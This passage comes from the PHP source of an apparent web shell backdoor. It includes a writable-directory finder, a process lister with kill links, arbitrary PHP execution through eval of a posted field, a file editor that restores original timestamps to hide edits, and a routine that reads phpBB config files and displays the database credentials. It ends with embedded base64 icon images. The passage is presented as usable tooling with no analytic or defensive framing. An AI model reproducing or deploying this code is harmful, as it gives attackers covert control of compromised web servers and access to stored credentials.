1987 else { echo "Can't create current dir:<b> $thedir</b>"; }
1988 }
1989 elseif ($fsfunc=='fwritabledir') {
1990 function recurse_dir($dir,$max_dir) {
1991 global $dir_count;
1992 $dir_count++;
1993 if( $cdir = dir($dir) ) {
1994 while( $entry = $cdir-> read() ) {
1995 if( $entry != '.' && $entry != '..' ) {
1996 if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
1997 if ($dir_count > $max_dir) { return; }
1998 echo "[".$dir_count."] ".$dir.$entry."\n";
1999 recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
2000 }
2001 }
2002 }
2003 $cdir->close();
2004 }
2005 }
2006 if (!$arg1) { $arg1 = $d; }
2007 if (!$arg2) { $arg2 = 10; }
2008 if (is_dir($arg1)) {
2009 echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
2010 echo "<pre>";
2011 recurse_dir($arg1,$arg2);
2012 echo "</pre>";
2013 $total = $dir_count - 1;
2014 echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
2015 }
2016 else {
2017 echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>";
2018 }
2019 }
2020 else {
2021 if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
2022 else {
2023 if ($hasil = $fsfunc($arg1)) {
2024 echo "<b>Result of $fsfunc $arg1:</b><br>";
2025 if (!is_array($hasil)) { echo "$hasil\n"; }
2026 else {
2027 echo "<pre>";
2028 foreach ($hasil as $v) { echo $v."\n"; }
2029 echo "</pre>";
2030 }
2031 }
2032 else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
2033 }
2034 }
2035 echo "</div>\n";
2036}
2037if ($act == "processes") {
2038 echo "<div class=barheader>.: Processes :.</div>\n";
2039 if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
2040 else { $handler = "tasklist"; }
2041 $ret = tpexec($handler);
2042 if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
2043 else {
2044 if (empty($processes_sort)) { $processes_sort = $sort_default; }
2045 $parsesort = parsesort($processes_sort);
2046 if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
2047 $k = $parsesort[0];
2048 if ($parsesort[1] != "a") {
2049 $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
2050 }
2051 else {
2052 $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
2053 }
2054 $ret = htmlspecialchars($ret);
2055 if (!$win) { //Not Windows
2056 if ($pid) {
2057 if (is_null($sig)) { $sig = 9; }
2058 echo "Sending signal ".$sig." to #".$pid."... ";
2059 if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; }
2060 }
2061 while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
2062 $stack = explode("\n",$ret);
2063 $head = explode(" ",$stack[0]);
2064 unset($stack[0]);
2065 for($i=0;$i<count($head);$i++) {
2066 if ($i != $k) {
2067 $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
2068 }
2069 }
2070 $head[$i] = "";
2071 $prcs = array();
2072 foreach ($stack as $line) {
2073 if (!empty($line)) {
2074 $line = explode(" ",$line);
2075 $line[10] = join(" ",array_slice($line,10));
2076 $line = array_slice($line,0,11);
2077 if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; }
2078 $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
2079 $prcs[] = $line;
2080 }
2081 }
2082 }
2083
2084 else {
2085 while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
2086 while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
2087 $ret = convert_cyr_string($ret,"d","w");
2088 $stack = explode("\n",$ret);
2089 unset($stack[0],$stack[2]);
2090 $stack = array_values($stack);
2091 $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
2092 $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
2093 $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
2094 $head = explode(" ",$stack[0]);
2095 $stack = array_slice($stack,1);
2096 $head = array_values($head);
2097 if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
2098 else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
2099 if ($k > count($head)) {$k = count($head)-1;}
2100 for($i=0;$i<count($head);$i++) {
2101 if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
2102 }
2103 $prcs = array();
2104 unset($stack[0]);
2105 foreach ($stack as $line) {
2106 if (!empty($line)) {
2107 $line = explode(" ",$line);
2108 $line[4] = str_replace(".","",$line[4]);
2109 $line[4] = intval($line[4]) * 1024;
2110 unset($line[5]);
2111 $prcs[] = $line;
2112 }
2113 }
2114 }
2115 $head[$k] = "<b>".$head[$k]."</b>".$y;
2116 $v = $processes_sort[0];
2117 usort($prcs,"tabsort");
2118 if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
2119 $tab = array();
2120 $tab[] = $head;
2121 $tab = array_merge($tab,$prcs);
2122 echo "<table class=explorer>\n";
2123 foreach($tab as $i=>$k) {
2124 echo "<tr>";
2125 foreach($k as $j=>$v) {
2126 if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
2127 echo "<td>".$v."</td>";
2128 }
2129 echo "</tr>\n";
2130 }
2131 echo "</table>";
2132 }
2133}
2134if ($act == "eval") {
2135 if (!empty($eval)) {
2136 echo "Result of execution this PHP-code:<br>";
2137 $tmp = @ob_get_contents();
2138 $olddir = realpath(".");
2139 @chdir($d);
2140 if ($tmp) {
2141 @ob_clean();
2142 eval($eval);
2143 $ret = @ob_get_contents();
2144 $ret = convert_cyr_string($ret,"d","w");
2145 @ob_clean();
2146 echo $tmp;
2147 if ($eval_txt) {
2148 $rows = count(explode("\r\n",$ret))+1;
2149 if ($rows < 10) {$rows = 10;}
2150 echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
2151 }
2152 else {echo $ret."<br>";}
2153 }
2154 else {
2155 if ($eval_txt) {
2156 echo "<br><textarea cols=\"115\" rows=\"15\" readonly>";
2157 eval($eval);
2158 echo "</textarea>";
2159 }
2160 else {echo $ret;}
2161 }
2162 @chdir($olddir);
2163 }
2164 else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
2165 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
2166}
2167if ($act == "f") {
2168 echo "<div align=left>";
2169 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
2170 if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
2171 else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
2172 }
2173 else {
2174 $r = @file_get_contents($d.$f);
2175 $ext = explode(".",$f);
2176 $c = count($ext)-1;
2177 $ext = $ext[$c];
2178 $ext = strtolower($ext);
2179 $rft = "";
2180 foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
2181 if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
2182 if (empty($ft)) {$ft = $rft;}
2183 $arr = array(
2184 array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
2185 array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
2186 array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
2187 array("Code","code"),
2188 array("Session","phpsess"),
2189 array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
2190 array("SDB","sdb"),
2191 array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
2192 array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
2193 array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
2194 array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
2195 array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
2196 );
2197 echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
2198 foreach($arr as $t) {
2199 if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
2200 elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
2201 else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
2202 echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
2203 }
2204 echo "<hr size=\"1\" noshade>";
2205 if ($ft == "info") {
2206 echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
2207 if (!$win) {
2208 echo "<tr><td><b>Owner/Group</b></td><td> ";
2209 $ow = posix_getpwuid(fileowner($d.$f));
2210 $gr = posix_getgrgid(filegroup($d.$f));
2211 echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
2212 }
2213 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
2214 $fi = fopen($d.$f,"rb");
2215 if ($fi) {
2216 if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
2217 else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
2218 $n = 0;
2219 $a0 = "00000000<br>";
2220 $a1 = "";
2221 $a2 = "";
2222 for ($i=0; $i<strlen($str); $i++) {
2223 $a1 .= sprintf("%02X",ord($str[$i]))." ";
2224 switch (ord($str[$i])) {
2225 case 0: $a2 .= "<font>0</font>"; break;
2226 case 32:
2227 case 10:
2228 case 13: $a2 .= " "; break;
2229 default: $a2 .= htmlspecialchars($str[$i]);
2230 }
2231 $n++;
2232 if ($n == $hexdump_rows) {
2233 $n = 0;
2234 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2235 $a1 .= "<br>";
2236 $a2 .= "<br>";
2237 }
2238 }
2239 echo "<table border=1 bgcolor=#666666>".
2240 "<tr><td bgcolor=#666666>".$a0."</td>".
2241 "<td bgcolor=#000000>".$a1."</td>".
2242 "<td bgcolor=#000000>".$a2."</td>".
2243 "</tr></table><br>";
2244 }
2245 $encoded = "";
2246 if ($base64 == 1) {
2247 echo "<b>Base64 Encode</b><br>";
2248 $encoded = base64_encode(file_get_contents($d.$f));
2249 }
2250 elseif($base64 == 2) {
2251 echo "<b>Base64 Encode + Chunk</b><br>";
2252 $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2253 }
2254 elseif($base64 == 3) {
2255 echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
2256 $encoded = base64_encode(file_get_contents($d.$f));
2257 $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
2258 }
2259 elseif($base64 == 4) {
2260 $text = file_get_contents($d.$f);
2261 $encoded = base64_decode($text);
2262 echo "<b>Base64 Decode";
2263 if (base64_encode($encoded) != $text) {echo " (failed)";}
2264 echo "</b><br>";
2265 }
2266 if (!empty($encoded))
2267 {
2268 echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
2269 }
2270 echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
2271 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
2272 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
2273 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
2274 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
2275 <P>";
2276 }
2277 elseif ($ft == "html") {
2278 if ($white) {@ob_clean();}
2279 echo $r;
2280 if ($white) {tpshexit();}
2281 }
2282 elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
2283 elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
2284 elseif ($ft == "phpsess") {
2285 echo "<pre>";
2286 $v = explode("|",$r);
2287 echo $v[0]."<br>";
2288 var_dump(unserialize($v[1]));
2289 echo "</pre>";
2290 }
2291 elseif ($ft == "exe") {
2292 $ext = explode(".",$f);
2293 $c = count($ext)-1;
2294 $ext = $ext[$c];
2295 $ext = strtolower($ext);
2296 $rft = "";
2297 foreach($exeftypes as $k=>$v)
2298 {
2299 if (in_array($ext,$v)) {$rft = $k; break;}
2300 }
2301 $cmd = str_replace("%f%",$f,$rft);
2302 echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
2303 }
2304 elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
2305 elseif ($ft == "code") {
2306 if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
2307 $arr = explode("\n",$r);
2308 if (count($arr == 18)) {
2309 include($d.$f);
2310 echo "<b>phpBB configuration is detected in this file!<br>";
2311 if ($dbms == "mysql4") {$dbms = "mysql";}
2312 if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
2313 else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
2314 echo "Parameters for manual connect:<br>";
2315 $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
2316 foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
2317 echo "</b><hr size=\"1\" noshade>";
2318 }
2319 }
2320 echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
2321 if (!empty($white)) {@ob_clean();}
2322 highlight_file($d.$f);
2323 if (!empty($white)) {tpshexit();}
2324 echo "</div>";
2325 }
2326 elseif ($ft == "download") {
2327 @ob_clean();
2328 header("Content-type: application/octet-stream");
2329 header("Content-length: ".filesize($d.$f));
2330 header("Content-disposition: attachment; filename=\"".$f."\";");
2331 echo $r;
2332 exit;
2333 }
2334 elseif ($ft == "notepad") {
2335 @ob_clean();
2336 header("Content-type: text/plain");
2337 header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2338 echo($r);
2339 exit;
2340 }
2341 elseif ($ft == "img") {
2342 $inf = getimagesize($d.$f);
2343 if (!$white) {
2344 if (empty($imgsize)) {$imgsize = 20;}
2345 $width = $inf[0]/100*$imgsize;
2346 $height = $inf[1]/100*$imgsize;
2347 echo "<center><b>Size:</b> ";
2348 $sizes = array("100","50","20");
2349 foreach ($sizes as $v) {
2350 echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
2351 if ($imgsize != $v ) {echo $v;}
2352 else {echo "<u>".$v."</u>";}
2353 echo "</a> ";
2354 }
2355 echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
2356 }
2357 else {
2358 @ob_clean();
2359 $ext = explode($f,".");
2360 $ext = $ext[count($ext)-1];
2361 header("Content-type: ".$inf["mime"]);
2362 readfile($d.$f);
2363 exit;
2364 }
2365 }
2366 elseif ($ft == "edit") {
2367 if (!empty($submit))
2368 {
2369 if ($filestealth) {$stat = stat($d.$f);}
2370 $fp = fopen($d.$f,"w");
2371 if (!$fp) {echo "<b>Can't write to file!</b>";}
2372 else
2373 {
2374 echo "<b>Saved!</b>";
2375 fwrite($fp,$edit_text);
2376 fclose($fp);
2377 if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
2378 $r = $edit_text;
2379 }
2380 }
2381 $rows = count(explode("\r\n",$r));
2382 if ($rows < 10) {$rows = 10;}
2383 if ($rows > 30) {$rows = 30;}
2384 echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
2385 }
2386 elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
2387 else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";}
2388}
2389echo "</div>\n";
2390}
2391}
2392else {
2393@ob_clean();
2394$images = array(
2395"arrow_ltr"=>
2396"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
2397"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
2398"back"=>
2399"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2400"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
2401"Wg0JADs=",
2402"buffer"=>
2403"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
2404"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
2405"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
2406"change"=>
2407"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
2408"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
2409"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
2410"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
2411"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
2412"zMshADs=",
2413"delete"=>
2414"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
2415"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
2416"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
2417"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
2418"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
2419"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2420"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
2421"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
2422"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
2423"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
2424"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
2425"download"=>
2426"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
2427"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
2428"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
2429"forward"=>
2430"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2431"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
2432"WqsJADs=",
2433"home"=>
2434"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
2435"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
2436"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
2437"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
2438"mode"=>
2439"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
2440"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
2441"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
2442"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
2443"search"=>
2444"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
2445"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
2446"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
2447"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
2448"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
2449"setup"=>
2450"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
2451"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2452"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
2453"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
2454"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
2455"small_dir"=>
2456"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
2457"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
2458"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
2459"small_unk"=>
2460"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
2461"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
2462"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
2463"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
2464"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
2465"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
2466"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
2467"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
2468"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2469"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2470"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2471"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2472"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2473"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2474"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
